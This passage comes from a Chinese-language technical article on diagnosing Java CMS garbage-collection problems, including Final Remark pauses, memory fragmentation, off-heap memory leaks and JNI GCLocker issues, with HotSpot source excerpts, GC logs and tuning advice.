Final Remark,核心代码在 `VM_CMS_Initial_Mark` / `VM_CMS_Final_Remark` 中,执行时需要将执行权交由 VMThread 来执行。 - -* CMS Init Mark执行步骤,实现在 `CMSCollector::checkpointRootsInitialWork()` 和 `CMSParInitialMarkTask::work` 中,整体步骤和代码如下: - -CMSCollector::checkpointRootsInitialWork() - -``` -void CMSCollector::checkpointRootsInitialWork() { - assert(SafepointSynchronize::is_at_safepoint(), "world should be stopped"); - assert(_collectorState == InitialMarking, "just checking"); - - // Already have locks. - assert_lock_strong(bitMapLock()); - assert(_markBitMap.isAllClear(), "was reset at end of previous cycle"); - - // Setup the verification and class unloading state for this - // CMS collection cycle. - setup_cms_unloading_and_verification_state(); - - GCTraceTime(Trace, gc, phases) ts("checkpointRootsInitialWork", _gc_timer_cm); - - // Reset all the PLAB chunk arrays if necessary. - if (_survivor_plab_array != NULL && !CMSPLABRecordAlways) { - reset_survivor_plab_arrays(); - } - - ResourceMark rm; - HandleMark hm; - - MarkRefsIntoClosure notOlder(_span, &_markBitMap); - CMSHeap* heap = CMSHeap::heap(); - - verify_work_stacks_empty(); - verify_overflow_empty(); - - heap->ensure_parsability(false); // fill TLABs, but no need to retire them - // Update the saved marks which may affect the root scans. - heap->save_marks(); - - // weak reference processing has not started yet. - ref_processor()->set_enqueuing_is_done(false); - - // Need to remember all newly created CLDs, - // so that we can guarantee that the remark finds them. - ClassLoaderDataGraph::remember_new_clds(true); - - // Whenever a CLD is found, it will be claimed before proceeding to mark - // the klasses. The claimed marks need to be cleared before marking starts. - ClassLoaderDataGraph::clear_claimed_marks(); - - print_eden_and_survivor_chunk_arrays(); - - { - if (CMSParallelInitialMarkEnabled) { - // The parallel version. - WorkGang* workers = heap->workers(); - assert(workers != NULL, "Need parallel worker threads."); - uint n_workers = workers->active_workers(); - - StrongRootsScope srs(n_workers); - - CMSParInitialMarkTask tsk(this, &srs, n_workers); - initialize_sequential_subtasks_for_young_gen_rescan(n_workers); - // If the total workers is greater than 1, then multiple workers - // may be used at some time and the initialization has been set - // such that the single threaded path cannot be used. - if (workers->total_workers() > 1) { - workers->run_task(&tsk); - } else { - tsk.work(0); - } - } else { - // The serial version. - CLDToOopClosure cld_closure(¬Older, true); - heap->rem_set()->prepare_for_younger_refs_iterate(false); // Not parallel. - - StrongRootsScope srs(1); - - heap->cms_process_roots(&srs, - true, // young gen as roots - GenCollectedHeap::ScanningOption(roots_scanning_options()), - should_unload_classes(), - ¬Older, - &cld_closure); - } - } - - // Clear mod-union table; it will be dirtied in the prologue of - // CMS generation per each young generation collection. - assert(_modUnionTable.isAllClear(), - "Was cleared in most recent final checkpoint phase" - " or no bits are set in the gc_prologue before the start of the next " - "subsequent marking phase."); - - assert(_ct->cld_rem_set()->mod_union_is_clear(), "Must be"); - // Save the end of the used_region of the constituent generations - // to be used to limit the extent of sweep in each generation. - save_sweep_limits(); - verify_overflow_empty(); -} -``` - -![](https://upload-images.jianshu.io/upload_images/1179389-e7fa98f83dac0698.gif?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240) - -整个过程比较简单,从 GC Root 出发标记 Old 中的对象,处理完成后借助 BitMap 处理下 Young 区对 Old 区的引用,整个过程基本都比较快,很少会有较大的停顿。 - -* CMS Final Remark 执行步骤,实现在 `CMSCollector::checkpointRootsFinalWork()` 中,整体代码和步骤如下: - -CMSCollector::checkpointRootsFinalWork() - -``` -void CMSCollector::checkpointRootsFinalWork() { - GCTraceTime(Trace, gc, phases) tm("checkpointRootsFinalWork", _gc_timer_cm); - - assert(haveFreelistLocks(), "must have free list locks"); - assert_lock_strong(bitMapLock()); - - ResourceMark rm; - HandleMark hm; - - CMSHeap* heap = CMSHeap::heap(); - - if (should_unload_classes()) { - CodeCache::gc_prologue(); - } - assert(haveFreelistLocks(), "must have free list locks"); - assert_lock_strong(bitMapLock()); - - heap->ensure_parsability(false); // fill TLAB's, but no need to retire them - // Update the saved marks which may affect the root scans. - heap->save_marks(); - - print_eden_and_survivor_chunk_arrays(); - - { - if (CMSParallelRemarkEnabled) { - GCTraceTime(Debug, gc, phases) t("Rescan (parallel)", _gc_timer_cm); - do_remark_parallel(); - } else { - GCTraceTime(Debug, gc, phases) t("Rescan (non-parallel)", _gc_timer_cm); - do_remark_non_parallel(); - } - } - verify_work_stacks_empty(); - verify_overflow_empty(); - - { - GCTraceTime(Trace, gc, phases) ts("refProcessingWork", _gc_timer_cm); - refProcessingWork(); - } - verify_work_stacks_empty(); - verify_overflow_empty(); - - if (should_unload_classes()) { - CodeCache::gc_epilogue(); - } - JvmtiExport::gc_epilogue(); - assert(_markStack.isEmpty(), "No grey objects"); - size_t ser_ovflw = _ser_pmc_remark_ovflw + _ser_pmc_preclean_ovflw + - _ser_kac_ovflw + _ser_kac_preclean_ovflw; - if (ser_ovflw > 0) { - log_trace(gc)("Marking stack overflow (benign) (pmc_pc=" SIZE_FORMAT ", pmc_rm=" SIZE_FORMAT ", kac=" SIZE_FORMAT ", kac_preclean=" SIZE_FORMAT ")", - _ser_pmc_preclean_ovflw, _ser_pmc_remark_ovflw, _ser_kac_ovflw, _ser_kac_preclean_ovflw); - _markStack.expand(); - _ser_pmc_remark_ovflw = 0; - _ser_pmc_preclean_ovflw = 0; - _ser_kac_preclean_ovflw = 0; - _ser_kac_ovflw = 0; - } - if (_par_pmc_remark_ovflw > 0 || _par_kac_ovflw > 0) { - log_trace(gc)("Work queue overflow (benign) (pmc_rm=" SIZE_FORMAT ", kac=" SIZE_FORMAT ")", - _par_pmc_remark_ovflw, _par_kac_ovflw); - _par_pmc_remark_ovflw = 0; - _par_kac_ovflw = 0; - } - if (_markStack._hit_limit > 0) { - log_trace(gc)(" (benign) Hit max stack size limit (" SIZE_FORMAT ")", - _markStack._hit_limit); - } - if (_markStack._failed_double > 0) { - log_trace(gc)(" (benign) Failed stack doubling (" SIZE_FORMAT "), current capacity " SIZE_FORMAT, - _markStack._failed_double, _markStack.capacity()); - } - _markStack._hit_limit = 0; - _markStack._failed_double = 0; - - if ((VerifyAfterGC || VerifyDuringGC) && - CMSHeap::heap()->total_collections() >= VerifyGCStartAt) { - verify_after_remark(); - } - - _gc_tracer_cm->report_object_count_after_gc(&_is_alive_closure); - - // Change under the freelistLocks. - _collectorState = Sweeping; - // Call isAllClear() under bitMapLock - assert(_modUnionTable.isAllClear(), - "Should be clear by end of the final marking"); - assert(_ct->cld_rem_set()->mod_union_is_clear(), - "Should be clear by end of the final marking"); -} -``` - -![](https://upload-images.jianshu.io/upload_images/1179389-1a98f9a720335361?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240) - -Final Remark 是最终的第二次标记,这种情况只有在 Background GC 执行了 InitialMarking 步骤的情形下才会执行,如果是 Foreground GC 执行的 InitialMarking 步骤则不需要再次执行 FinalRemark。Final Remark 的开始阶段与 Init Mark 处理的流程相同,但是后续多了 Card Table 遍历、Reference 实例的清理并将其加入到 Reference 维护的 `pend_list` 中,如果要收集元数据信息,还要清理 SystemDictionary、CodeCache、SymbolTable、StringTable 等组件中不再使用的资源。 - -**4.6.3 策略** - -知道了两个 STW 过程执行流程,我们分析解决就比较简单了,由于大部分问题都出在 Final Remark 过程,这里我们也拿这个场景来举例,主要步骤: - -* **【方向】**观察详细 GC 日志,找到出问题时 Final Remark 日志,分析下 Reference 处理和元数据处理 real 耗时是否正常,详细信息需要通过 `-XX:+PrintReferenceGC` 参数开启。**基本在日志里面就能定位到大概是哪个方向出了问题,耗时超过 10% 的就需要关注**。 - -``` -2019-02-27T19:55:37.920+0800: 516952.915: [GC (CMS Final Remark) 516952.915: [ParNew516952.939: [SoftReference, 0 refs, 0.0003857 secs]516952.939: [WeakReference, 1362 refs, 0.0002415 secs]516952.940: [FinalReference, 146 refs, 0.0001233 secs]516952.940: [PhantomReference, 0 refs, 57 refs, 0.0002369 secs]516952.940: [JNI Weak Reference, 0.0000662 secs][class unloading, 0.1770490 secs]516953.329: [scrub symbol table, 0.0442567 secs]516953.373: [scrub string table, 0.0036072 secs][1 CMS-remark: 1638504K(2048000K)] 1667558K(4352000K), 0.5269311 secs] [Times: user=1.20 sys=0.03, real=0.53 secs] -``` - -* **【根因】**有了具体的方向我们就可以进行深入的分析,一般来说最容易出问题的地方就是 Reference 中的 FinalReference 和元数据信息处理中的 scrub symbol table 两个阶段,想要找到具体问题代码就需要内存分析工具 MAT 或 JProfiler 了,注意要 dump 即将开始 CMS GC 的堆。在用 MAT 等工具前也可以先用命令行看下对象 Histogram,有可能直接就能定位问题。 - -* 对 FinalReference 的分析主要观察 `java.lang.ref.Finalizer` 对象的 dominator tree,找到泄漏的来源。经常会出现问题的几个点有 Socket 的 `SocksSocketImpl` 、Jersey 的 `ClientRuntime`、MySQL 的 `ConnectionImpl` 等等。 - -* scrub symbol table 表示清理元数据符号引用耗时,符号引用是 Java 代码被编译成字节码时,方法在 JVM 中的表现形式,生命周期一般与 Class 一致,当 `_should_unload_classes` 被设置为 true 时在 `CMSCollector::refProcessingWork()` 中与 Class Unload、String Table 一起被处理。 - -CMSCollector::refProcessingWork() - -``` -if (should_unload_classes()) { - { - GCTraceTime(Debug, gc, phases) t("Class Unloading", _gc_timer_cm); - - // Unload classes and purge the SystemDictionary. - bool purged_class = SystemDictionary::do_unloading(_gc_timer_cm); - - // Unload nmethods. - CodeCache::do_unloading(&_is_alive_closure, purged_class); - - // Prune dead klasses from subklass/sibling/implementor lists. - Klass::clean_weak_klass_links(purged_class); - } - - { - GCTraceTime(Debug, gc, phases) t("Scrub Symbol Table", _gc_timer_cm); - // Clean up unreferenced symbols in symbol table. - SymbolTable::unlink(); - } - - { - GCTraceTime(Debug, gc, phases) t("Scrub String Table", _gc_timer_cm); - // Delete entries for dead interned strings. - StringTable::unlink(&_is_alive_closure); - } - } -``` - -* **【策略】**知道 GC 耗时的根因就比较好处理了,这种问题不会大面积同时爆发,不过有很多时候单台 STW 的时间会比较长,如果业务影响比较大,及时摘掉流量,具体后续优化策略如下: - -* FinalReference:找到内存来源后通过优化代码的方式来解决,如果短时间无法定位可以增加 `-XX:+ParallelRefProcEnabled` 对 Reference 进行并行处理。 - -* symbol table:观察 MetaSpace 区的历史使用峰值,以及每次 GC 前后的回收情况,一般没有使用动态类加载或者 DSL 处理等,MetaSpace 的使用率上不会有什么变化,这种情况可以通过 `-XX:-CMSClassUnloadingEnabled` 来避免 MetaSpace 的处理,JDK8 会默认开启 CMSClassUnloadingEnabled,这会使得 CMS 在 CMS-Remark 阶段尝试进行类的卸载。 - -**4.6.4 小结** - -正常情况进行的 Background CMS GC,出现问题基本都集中在 Reference 和 Class 等元数据处理上,在 Reference 类的问题处理方面,不管是 FinalReference,还是 SoftReference、WeakReference 核心的手段就是找准时机 dump 快照,然后用内存分析工具来分析。Class 处理方面目前除了关闭类卸载开关,没有太好的方法。 - -在 G1 中同样有 Reference 的问题,可以观察日志中的 Ref Proc,处理方法与 CMS 类似。 - -**4.7 场景七:内存碎片&收集器退化** - -**4.7.1 现象** - -并发的 CMS GC 算法,退化为 Foreground 单线程串行 GC 模式,STW 时间超长,有时会长达十几秒。其中 CMS 收集器退化后单线程串行 GC 算法有两种: - -* 带压缩动作的算法,称为 MSC,上面我们介绍过,使用标记-清理-压缩,单线程全暂停的方式,对整个堆进行垃圾收集,也就是真正意义上的 Full GC,暂停时间要长于普通 CMS。 - -* 不带压缩动作的算法,收集 Old 区,和普通的 CMS 算法比较相似,暂停时间相对 MSC 算法短一些。 - -**4.7.2 原因** - -CMS 发生收集器退化主要有以下几种情况。 - -**晋升失败(Promotion Failed)** - -顾名思义,晋升失败就是指在进行 Young GC 时,Survivor 放不下,对象只能放入 Old,但此时 Old 也放不下。直觉上乍一看这种情况可能会经常发生,但其实因为有 concurrentMarkSweepThread 和担保机制的存在,发生的条件是很苛刻的,除非是短时间将 Old 区的剩余空间迅速填满,例如上文中说的动态年龄判断导致的过早晋升(见下文的增量收集担保失败)。另外还有一种情况就是内存碎片导致的 Promotion Failed,Young GC 以为 Old 有足够的空间,结果到分配时,晋级的大对象找不到连续的空间存放。 - -使用 CMS 作为 GC 收集器时,运行过一段时间的 Old 区如下图所示,清除算法导致内存出现多段的不连续,出现大量的内存碎片。 - -![](https://upload-images.jianshu.io/upload_images/1179389-46bc05c0c97a2403?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240) - -碎片带来了两个问题: - -* **空间分配效率较低**:上文已经提到过,如果是连续的空间 JVM 可以通过使用 pointer bumping 的方式来分配,而对于这种有大量碎片的空闲链表则需要逐个访问 freelist 中的项来访问,查找可以存放新建对象的地址。 - -* **空间利用效率变低**:Young 区晋升的对象大小大于了连续空间的大小,那么将会触发 Promotion Failed ,即使整个 Old 区的容量是足够的,但由于其不连续,也无法存放新对象,也就是本文所说的问题。 - -**增量收集担保失败** - -分配内存失败后,会判断统计得到的 Young GC 晋升到 Old 的平均大小,以及当前 Young 区已使用的大小也就是最大可能晋升的对象大小,是否大于 Old 区的剩余空间。只要 CMS 的剩余空间比前两者的任意一者大,CMS 就认为晋升还是安全的,反之,则代表不安全,不进行Young GC,直接触发Full GC。 - -**显式 GC** - -这种情况参见场景二。 - -**并发模式失败(Concurrent Mode Failure)** - -最后一种情况,也是发生概率较高的一种,在 GC 日志中经常能看到 Concurrent Mode Failure 关键字。这种是由于并发 Background CMS GC 正在执行,同时又有 Young GC 晋升的对象要放入到了 Old 区中,而此时 Old 区空间不足造成的。 - -为什么 CMS GC 正在执行还会导致收集器退化呢?主要是由于 CMS 无法处理浮动垃圾(Floating Garbage)引起的。CMS 的并发清理阶段,Mutator 还在运行,因此不断有新的垃圾产生,而这些垃圾不在这次清理标记的范畴里,无法在本次 GC 被清除掉,这些就是浮动垃圾,除此之外在 Remark 之前那些断开引用脱离了读写屏障控制的对象也算浮动垃圾。所以 Old 区回收的阈值不能太高,否则预留的内存空间很可能不够,从而导致 Concurrent Mode Failure 发生。 - -**4.7.3 策略** - -分析到具体原因后,我们就可以针对性解决了,具体思路还是从根因出发,具体解决策略: - -* **内存碎片:**通过配置 `-XX:UseCMSCompactAtFullCollection=true` 来控制 Full GC的过程中是否进行空间的整理(默认开启,注意是Full GC,不是普通CMS GC),以及 `-XX: CMSFullGCsBeforeCompaction=n` 来控制多少次 Full GC 后进行一次压缩。 - -* **增量收集:**降低触发 CMS GC 的阈值,即参数 `-XX:CMSInitiatingOccupancyFraction` 的值,让 CMS GC 尽早执行,以保证有足够的连续空间,也减少 Old 区空间的使用大小,另外需要使用 `-XX:+UseCMSInitiatingOccupancyOnly` 来配合使用,不然 JVM 仅在第一次使用设定值,后续则自动调整。 - -* **浮动垃圾:**视情况控制每次晋升对象的大小,或者缩短每次 CMS GC 的时间,必要时可调节 NewRatio 的值。另外就是使用 `-XX:+CMSScavengeBeforeRemark` 在过程中提前触发一次 Young GC,防止后续晋升过多对象。 - -**4.7.4 小结** - -正常情况下触发并发模式的 CMS GC,停顿非常短,对业务影响很小,但 CMS GC 退化后,影响会非常大,建议发现一次后就彻底根治。只要能定位到内存碎片、浮动垃圾、增量收集相关等具体产生原因,还是比较好解决的,关于内存碎片这块,如果 `-XX:CMSFullGCsBeforeCompaction` 的值不好选取的话,可以使用 `-XX:PrintFLSStatistics` 来观察内存碎片率情况,然后再设置具体的值。 - -最后就是在编码的时候也要避免需要连续地址空间的大对象的产生,如过长的字符串,用于存放附件、序列化或反序列化的 byte 数组等,还有就是过早晋升问题尽量在爆发问题前就避免掉。 - -**4.8 场景八:堆外内存 OOM** - -**4.8.1 现象** - -内存使用率不断上升,甚至开始使用 SWAP 内存,同时可能出现 GC 时间飙升,线程被 Block 等现象,**通过 top 命令发现 Java 进程的 RES 甚至超过了 ****`-Xmx` 的大小**。出现这些现象时,基本可以确定是出现了堆外内存泄漏。 - -**4.8.2 原因** - -JVM 的堆外内存泄漏,主要有两种的原因: - -* 通过 `UnSafe#allocateMemory`,`ByteBuffer#allocateDirect` 主动申请了堆外内存而没有释放,常见于 NIO、Netty 等相关组件。 - -* 代码中有通过 JNI 调用 Native Code 申请的内存没有释放。 - -**4.8.3 策略** - -哪种原因造成的堆外内存泄漏? - -首先,我们需要确定是哪种原因导致的堆外内存泄漏。这里可以使用 NMT([NativeMemoryTracking](https://docs.oracle.com/javase/8/docs/technotes/guides/troubleshoot/tooldescr007.html)) 进行分析。在项目中添加 `-XX:NativeMemoryTracking=detail` JVM参数后重启项目(需要注意的是,打开 NMT 会带来 5%~10% 的性能损耗)。使用命令 `jcmd pid VM.native_memory detail` 查看内存分布。重点观察 total 中的 committed,因为 jcmd 命令显示的内存包含堆内内存、Code 区域、通过 `Unsafe.allocateMemory` 和 `DirectByteBuffer` 申请的内存,但是不包含其他 Native Code(C 代码)申请的堆外内存。 - -如果 total 中的 committed 和 top 中的 RES 相差不大,则应为主动申请的堆外内存未释放造成的,如果相差较大,则基本可以确定是 JNI 调用造成的。 - -**原因一:主动申请未释放** - -JVM 使用 `-XX:MaxDirectMemorySize=size` 参数来控制可申请的堆外内存的最大值。在 Java 8 中,如果未配置该参数,默认和 `-Xmx` 相等。 - -NIO 和 Netty 都会取 `-XX:MaxDirectMemorySize` 配置的值,来限制申请的堆外内存的大小。NIO 和 Netty 中还有一个计数器字段,用来计算当前已申请的堆外内存大小,NIO 中是 `java.nio.Bits#totalCapacity`、Netty 中 `io.netty.util.internal.PlatformDependent#DIRECT_MEMORY_COUNTER`。 - -当申请堆外内存时,NIO 和 Netty 会比较计数器字段和最大值的大小,如果计数器的值超过了最大值的限制,会抛出 OOM 的异常。 - -NIO 中是:`OutOfMemoryError: Direct buffer memory`。 - -Netty 中是:`OutOfDirectMemoryError: failed to allocate capacity byte(s) of direct memory (used: usedMemory , max: DIRECT_MEMORY_LIMIT )`。 - -我们可以检查代码中是如何使用堆外内存的,NIO 或者是 Netty,通过反射,获取到对应组件中的计数器字段,并在项目中对该字段的数值进行打点,即可准确地监控到这部分堆外内存的使用情况。 - -此时,可以通过 Debug 的方式确定使用堆外内存的地方是否正确执行了释放内存的代码。另外,需要检查 JVM 的参数是否有 `-XX:+DisableExplicitGC` 选项,如果有就去掉,因为该参数会使 System.gc 失效。(场景二:显式 GC 的去与留) - -**原因二:通过 JNI 调用的 Native Code 申请的内存未释放** - -这种情况排查起来比较困难,我们可以通过 Google perftools + Btrace 等工具,帮助我们分析出问题的代码在哪里。 - -gperftools 是 Google 开发的一款非常实用的工具集,它的原理是在 Java 应用程序运行时,当调用 malloc 时换用它的 libtcmalloc.so,这样就能对内存分配情况做一些统计。我们使用 gperftools 来追踪分配内存的命令。如下图所示,通过 gperftools 发现 `Java_java_util_zip_Inflater_init` 比较可疑。 - -![](https://upload-images.jianshu.io/upload_images/1179389-11fd0d748962a60e?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240) - -接下来可以使用 Btrace,尝试定位具体的调用栈。Btrace 是 Sun 推出的一款 Java 追踪、监控工具,可以在不停机的情况下对线上的 Java 程序进行监控。如下图所示,通过 Btrace 定位出项目中的 `ZipHelper` 在频繁调用 `GZIPInputStream` ,在堆外内存分配对象。 - -![](https://upload-images.jianshu.io/upload_images/1179389-78a2708e3652f668?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240) - -最终定位到是,项目中对 `GIPInputStream` 的使用错误,没有正确的 close()。 - -![](https://upload-images.jianshu.io/upload_images/1179389-7aeb1bd968da52f7?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240) - -除了项目本身的原因,还可能有外部依赖导致的泄漏,如 Netty 和 Spring Boot,详细情况可以学习下这两篇文章:《[疑案追踪:Spring Boot内存泄露排查记](http://mp.weixin.qq.com/s?__biz=MjM5NjQ5MTI5OA==&mid=26518700+37&idx=2&sn=847fb15d4413354355c33a46a7bccf55&chksm=bd12a7d88a652ecea5789073973abb9545e76a8972c843968a6efd1fb3a918ef07eed8abb37e&scene=21#wechat_redirect)》、《[Netty堆外内存泄露排查盛宴](http://mp.weixin.qq.com/s?__biz=MjM5NjQ5MTI5OA==&mid=2651749037&idx=2&sn=d1d6b0348eea5cd80e2c7a56c8a61fa9&chksm=bd12a3e08a652af684fd8d96e81fc0e0fded69dd847051e6b0f791f3726da0415c9552ee2615&scene=21#wechat_redirect)》。 - -**4.8.4 小结** - -首先可以使用 NMT + jcmd 分析泄漏的堆外内存是哪里申请,确定原因后,使用不同的手段,进行原因定位。 - -![](https://upload-images.jianshu.io/upload_images/1179389-7bbcc8abc365209c?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240) - -**4.9 场景九:JNI 引发的 GC 问题** - -**4.9.1 现象** - -在 GC 日志中,出现 GC Cause 为 GCLocker Initiated GC。 - -``` -2020-09-23T16:49:09.727+0800: 504426.742: [GC (GCLocker Initiated GC) 504426.742: [ParNew (promotion failed): 209716K->6042K(1887488K), 0.0843330 secs] 1449487K->1347626K(3984640K), 0.0848963 secs] [Times: user=0.19 sys=0.00, real=0.09 secs] -2020-09-23T16:49:09.812+0800: 504426.827: [Full GC (GCLocker Initiated GC) 504426.827: [CMS: 1341583K->419699K(2097152K), 1.8482275 secs] 1347626K->419699K(3984640K), [Metaspace: 297780K->297780K(1329152K)], 1.8490564 secs] [Times: user=1.62 sys=0.20, real=1.85 secs] -``` - -**4.9.2 原因** - -JNI(Java Native Interface)意为 Java 本地调用,它允许 Java 代码和其他语言写的 Native 代码进行交互。 - -JNI 如果需要获取 JVM 中的 String 或者数组,有两种方式: - -* 拷贝传递。 - -* 共享引用(指针),性能更高。 - -由于 Native 代码直接使用了 JVM 堆区的指针,如果这时发生 GC,就会导致数据错误。因此,在发生此类 JNI 调用时,禁止 GC 的发生,同时阻止其他线程进入 JNI 临界区,直到最后一个线程退出临界区时触发一次 GC。 - -GC Locker 实验: - -``` -public class GCLockerTest { - - static final int ITERS = 100; - static final int ARR_SIZE = 10000; - static final int WINDOW = 10000000; - - static native void acquire(int[] arr); - static native void release(int[] arr); - - static final Object[] window = new Object[WINDOW]; - - public static void main(String... args) throws Throwable { - System.loadLibrary("GCLockerTest"); - int[] arr = new int[ARR_SIZE]; - - for (int i = 0; i < ITERS; i++) { - acquire(arr); - System.out.println("Acquired"); - try { - for (int c = 0; c < WINDOW; c++) { - window[c] = new Object(); - } - } catch (Throwable t) { - // omit - } finally { - System.out.println("Releasing"); - release(arr); - } - } - } -} -``` - -* * * - -``` -#include -#include "GCLockerTest.h" - -static jbyte* sink; - -JNIEXPORT void JNICALL Java_GCLockerTest_acquire(JNIEnv* env, jclass klass, jintArray arr) { -sink = (*env)->GetPrimitiveArrayCritical(env, arr, 0); -} - -JNIEXPORT void JNICALL Java_GCLockerTest_release(JNIEnv* env, jclass klass, jintArray arr) { -(*env)->ReleasePrimitiveArrayCritical(env, arr, sink, 0); -} -``` - -运行该 JNI 程序,可以看到发生的 GC 都是 GCLocker Initiated GC,并且注意在 “Acquired” 和 “Released” 时不可能发生 GC。 - -![](https://upload-images.jianshu.io/upload_images/1179389-be1f08f7671866b1?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240) - -GC Locker 可能导致的不良后果有: - -* 如果此时是 Young 区不够 Allocation Failure 导致的 GC,由于无法进行 Young GC,会将对象直接分配至 Old 区。 - -* 如果 Old 区也没有空间了,则会等待锁释放,导致线程阻塞。 -* 可能触发额外不必要的 Young GC,JDK 有一个 Bug,有一定的几率,本来只该触发一次 GCLocker Initiated GC 的 Young GC,实际发生了一次 Allocation Failure GC 又紧接着一次 GCLocker Initiated GC。是因为 GCLocker Initiated GC 的属性被设为 full,导致两次 GC 不能收敛。 - -**4.9.3 策略** - -* 添加 `-XX+PrintJNIGCStalls` 参数,可以打印出发生 JNI 调用时的线程,进一步分析,找到引发问题的 JNI 调用。 -* JNI 调用需要谨慎,不一定可以提升性能,反而可能造成 GC 问题。 -* 升级 JDK 版本到 14,避免 [JDK-8048556](https://bugs.openjdk.java.net/browse/JDK-8048556) 导致的重复 GC。 - -![](https://upload-images.jianshu.io/upload_images/1179389-dc4a53598d2ffd0a.gif?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240) - -**4.9.4 小结** - -JNI 产生的 GC 问题较难排查,需要谨慎使用。 - -**5\. 总结** - -在这里,我们把整个文章内容总结一下,方便大家整体地理解回顾。 - -**5.1 处理流程(SOP)** - -下图为整体 GC 问题普适的处理流程,重点的地方下面会单独标注,其他的基本都是标准处理流程,此处不再赘述,最后在整个问题都处理完之后有条件的话建议做一下复盘。 - -![](https://upload-images.jianshu.io/upload_images/1179389-06b02637605cdf5f?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240) - -* **制定标准:**这块内容其实非常重要,但大部分系统都是缺失的,笔者过往面试的同学中只有不到一成的同学能给出自己的系统 GC 标准到底什么样,其他的都是用的统一指标模板,缺少预见性,具体指标制定可以参考 3.1 中的内容,需要结合应用系统的 TP9999 时间和延迟、吞吐量等设定具体的指标,而不是被问题驱动。 - -* **保留现场:**目前线上服务基本都是分布式服务,某个节点发生问题后,如果条件允许一定不要直接操作重启、回滚等动作恢复,优先通过摘掉流量的方式来恢复,这样我们可以将堆、栈、GC 日志等关键信息保留下来,不然错过了定位根因的时机,后续解决难度将大大增加。当然除了这些,应用日志、中间件日志、内核日志、各种 Metrics 指标等对问题分析也有很大帮助。 - -* **因果分析:**判断 GC 异常与其他系统指标异常的因果关系,可以参考笔者在 3.2 中介绍的时序分析、概率分析、实验分析、反证分析等 4 种因果分析法,避免在排查过程中走入误区。 -* **根因分析:**确实是 GC 的问题后,可以借助上文提到的工具并通过 5 Why 根因分析法以及跟第三节中的九种常见的场景进行逐一匹配,或者直接参考下文的根因鱼骨图,找出问题发生根因,最后再选择优化手段。 - -**5.2 根因鱼骨图** - -送上一张问题根因鱼骨图,一般情况下我们在处理一个 GC 问题时,只要能定位到问题的“病灶”,有的放矢,其实就相当于解决了 80%,如果在某些场景下不太好定位,大家可以借助这种根因分析图通过**排除法**去定位。 - -![](https://upload-images.jianshu.io/upload_images/1179389-7dd5d0e42488ebaa?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240) - -**5.3 调优建议** - -* **Trade Off:**与 CAP 注定要缺一角一样,GC 优化要在延迟(Latency)、吞吐量(Throughput)、容量(Capacity)三者之间进行权衡。 - -* **最终手段:**GC 发生问题不是一定要对 JVM 的 GC 参数进行调优,大部分情况下是通过 GC 的情况找出一些业务问题,切记上来就对 GC 参数进行调整,当然有明确配置错误的场景除外。 - -* **控制变量:**控制变量法是在蒙特卡洛(Monte Carlo)方法中用于减少方差的一种技术方法,我们调优的时候尽量也要使用,每次调优过程尽可能只调整一个变量。 - -* **善用搜索:**理论上 99.99% 的 GC 问题基本都被遇到了,我们要学会使用搜索引擎的高级技巧,重点关注 StackOverFlow、Github 上的 Issue、以及各种论坛博客,先看看其他人是怎么解决的,会让解决问题事半功倍。能看到这篇文章,你的搜索能力基本过关了~ - -* **调优重点:**总体上来讲,我们开发的过程中遇到的问题类型也基本都符合正态分布,太简单或太复杂的基本遇到的概率很低,笔者这里将中间最重要的三个场景添加了“*”标识,希望阅读完本文之后可以观察下自己负责的系统,是否存在上述问题。 - -* **GC 参数:**如果堆、栈确实无法第一时间保留,一定要保留 GC 日志,这样我们最起码可以看到 GC Cause,有一个大概的排查方向。关于 GC 日志相关参数,最基本的 `-XX:+HeapDumpOnOutOfMemoryError` 等一些参数就不再提了,笔者建议添加以下参数,可以提高我们分析问题的效率。 - -![](https://upload-images.jianshu.io/upload_images/1179389-28d7362e83e88266?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240) - -* **其他建议:**上文场景中没有提到,但是对 GC 性能也有提升的一些建议。 - -* **主动式 GC:**也有另开生面的做法,通过监控手段监控观测 Old 区的使用情况,即将到达阈值时将应用服务摘掉流量,手动触发一次 Major GC,减少 CMS GC 带来的停顿,但随之系统的健壮性也会减少,如非必要不建议引入。 - -* **禁用偏向锁:**偏向锁在只有一个线程使用到该锁的时候效率很高,但是在竞争激烈情况会升级成轻量级锁,此时就需要先**消除偏向锁,这个过程是 STW** 的。如果每个同步资源都走这个升级过程,开销会非常大,所以在已知并发激烈的前提下,一般会禁用偏向锁 `-XX:-UseBiasedLocking` 来提高性能。 - -* **虚拟内存:**启动初期有些操作系统(例如 Linux)并没有真正分配物理内存给 JVM ,而是在虚拟内存中分配,使用的时候才会在物理内存中分配内存页,这样也会导致 GC 时间较长。这种情况可以添加 `-XX:+AlwaysPreTouch` 参数,让 VM 在 commit 内存时跑个循环来强制保证申请的内存真的 commit,避免运行时触发缺页异常。在一些大内存的场景下,有时候能将前几次的 GC 时间降一个数量级,但是添加这个参数后,启动的过程可能会变慢。 - -**6\. 写在最后** - -最后,再说笔者个人的一些小建议,遇到一些 GC 问题,如果有精力,一定要探本穷源,找出最深层次的原因。另外,在这个信息泛滥的时代,有一些被“奉为圭臬”的经验可能都是错误的,尽量养成看源码的习惯,有一句话说到“源码面前,了无秘密”,也就意味着遇到搞不懂的问题,我们可以从源码中一窥究竟,某些场景下确有奇效。但也不是只靠读源码来学习,如果硬啃源码但不理会其背后可能蕴含的理论基础,那很容易“捡芝麻丢西瓜”,“只见树木,不见森林”,让“了无秘密”变成了一句空话,我们还是要结合一些实际的业务场景去针对性地学习。 - -**你的时间在哪里,你的成就就会在哪里**。笔者也是在前两年才开始逐步地在 GC 方向上不断深入,查问题、看源码、做总结,每个 Case 形成一个小的闭环,目前初步摸到了 GC 问题处理的一些门道,同时将经验总结应用于生产环境实践,慢慢地形成一个良性循环。 - -本篇文章主要是介绍了 CMS GC 的一些常见场景分析,另外一些,如 CodeCache 问题导致 JIT 失效、SafePoint 就绪时间长、Card Table 扫描耗时等问题不太常见就没有花太多篇幅去讲解。Java GC 是在“分代”的思想下内卷了很多年才突破到了“分区”,目前在美团也已经开始使用 G1 